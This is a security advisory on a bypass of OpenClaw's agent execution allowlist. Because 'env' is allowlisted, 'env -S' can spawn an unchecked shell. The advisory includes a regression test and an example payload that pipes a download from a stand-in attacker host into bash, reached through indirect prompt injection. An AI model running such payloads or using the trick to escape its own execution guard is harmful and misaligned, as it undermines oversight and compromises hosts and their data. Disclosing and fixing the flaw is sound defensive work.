GHSA-48WF-G7CP-GR3M: OpenClaw Allowlist Bypass via 'env -S'

OpenClaw, an open-source AI assistant platform, implements an 'Execution Guard' (exec-guard) to restrict the capabilities of AI agents operating on a host system. This security feature relies on an allowlist policy that explicitly defines which binaries the agent is permitted to execute. The system is designed to prevent the AI—or an attacker manipulating the AI via prompt injection—from running arbitrary code or accessing unauthorized system utilities. By strictly validating the executable path against a pre-approved list, OpenClaw attempts to create a sandboxed execution environment.

However, a vulnerability was identified in how the policy engine handles command-line wrappers, specifically the /usr/bin/env utility. While administrators often allowlist env to support portable script execution, the validation logic failed to account for the utility's advanced argument parsing features. The policy engine treated the presence of env as a safe operation, assuming it would simply modify environment variables before running a subsequent command. It did not anticipate that env could be used as a trampoline to execute arbitrary command strings that were never subjected to the allowlist validation.

The flaw represents a classic Time-of-Check Time-of-Use (TOCTOU) logic error where the validator inspects the primary executable (env) but fails to inspect the payload effectively hidden within the arguments. This allows an attacker to construct a command that appears compliant to the security policy but behaves maliciously at runtime. The bypass renders the allowlist ineffective for any configuration that includes env or similar susceptible wrappers.

The root cause of this vulnerability lies in a semantic interpretation mismatch between OpenClaw's command parser and the actual execution behavior of GNU Coreutils' env. The OpenClaw policy engine validated commands based on the initial binary token. If /usr/bin/env was in the allowlist, the engine permitted the execution, assuming that any subsequent arguments were merely parameters for that safe binary. The engine lacked a deep inspection mechanism to understand that certain flags transform the nature of the execution.

Modern implementations of env support the -S (or --split-string) option, which allows a single string argument to be split into multiple arguments and executed as a new command. This feature was designed to overcome the shebang line limitation in scripts (which typically accepts only one argument), but in this context, it serves as an evasion primitive. When env -S is invoked, env effectively parses a new command line from its arguments and executes it. This internal execution occurs after the OpenClaw allowlist check has already passed.

By failing to flag -S as a dangerous modifier, the security model allowed a "confused deputy" scenario. The allowlist validator authorized the env process, but the env process subsequently acted as a proxy to launch a restricted binary (like /bin/sh). The vulnerability highlights the danger of allowlisting meta-executables or wrappers without enforcing strict constraints on their arguments.

The remediation involved a fundamental shift in how OpenClaw analyzes command arguments. The patches introduced a distinction between "transparent" wrappers (like nice, nohup, or timeout, which simply pass execution through) and "semantic" wrappers that fundamentally alter the command structure. The fix was implemented in the execution policy engine to specifically detect and reject ambiguous execution plans involving env.

The following code demonstrates the regression test added to verify the fix. It explicitly tests the scenario where envPath is allowlisted, but the command uses -S to invoke a shell. Prior to the patch, allowlistSatisfied would return true because env was trusted. After the patch, the analysis correctly identifies the policyBlocked state.

// Commit: 3f923e831364d83d0f23499ee49961de334cf58b
it("fails closed for env -S even when env itself is allowlisted", () => {
  const analysis = analyzeArgvCommand({
    argv: [envPath, "-S", 'sh -c "echo pwned"'],
    cwd: dir,
    env: makePathEnv(binDir),
  });
  const allowlistEval = evaluateExecAllowlist({
    analysis,
    allowlist: [{ pattern: envPath }],
    safeBins: normalizeSafeBins([]),
    cwd: dir,
  });
 
  // The fix ensures policyBlocked is true due to the dangerous flag
  expect(analysis.segments[0]?.resolution?.policyBlocked).toBe(true);
  expect(allowlistEval.allowlistSatisfied).toBe(false);
});

The fix logic itself, found in fix(security): harden exec wrapper allowlist execution parity, implements a "Check-and-Reconstruct" model. Instead of passing the raw input string to the shell, the system now reconstructs the command using absolute paths and mandatory single-quoting for arguments. It also introduces a canonicalWrapper check that fails closed if env is detected with flags that indicate argument splitting.

To exploit this vulnerability, an attacker requires the ability to supply commands to the OpenClaw agent, typically through a chat interface or an indirect prompt injection attack. The prerequisite is that the system administrator must have configured the exec-guard allowlist to include /usr/bin/env. This is a common configuration for environments that need to run scripts specifying interpreters dynamically.

The attacker constructs a payload using the env -S syntax. A standard command might look like env printenv, which is safe and allowed. The malicious payload would look like env -S 'sh -c "curl attacker.com/exec | bash"'. When the OpenClaw agent processes this input, it checks the first token, env, against its allowlist. Finding a match, it approves the command for execution.

At runtime, env parses the -S string, splits it into the command sh and arguments -c "...", and executes them. The OpenClaw security layer is entirely bypassed because it does not re-validate the secondary command spawned by env. This allows for arbitrary code execution with the privileges of the user running the OpenClaw agent, enabling data exfiltration, persistence, or lateral movement within the network.

The impact of this vulnerability is rated High, particularly for deployments where OpenClaw interacts with sensitive data or has network access. Successful exploitation results in arbitrary code execution (ACE) on the host system. Since AI agents often require significant permissions to perform useful tasks (such as file system access or network requests), the compromise of the agent often leads to full compromise of the hosting container or virtual machine.

Specifically, this bypass negates the primary security control—the allowlist—intended to constrain the AI's capabilities. If the agent is exposed to untrusted input (e.g., processing emails, summarizing web pages, or interacting with public users), an attacker can inject the malicious command sequence to break out of the intended sandbox. The attack vector is local in the context of the execution (the command runs locally), but it is often triggered remotely via the agent's interface.

From a confidentiality perspective, the attacker can read any file accessible to the agent. Regarding integrity, they can modify system configurations or inject backdoors. Availability is also at risk, as the attacker could execute resource-exhausting commands or terminate critical processes. The vulnerability effectively downgrades the security posture of an OpenClaw deployment to that of an unconstrained shell.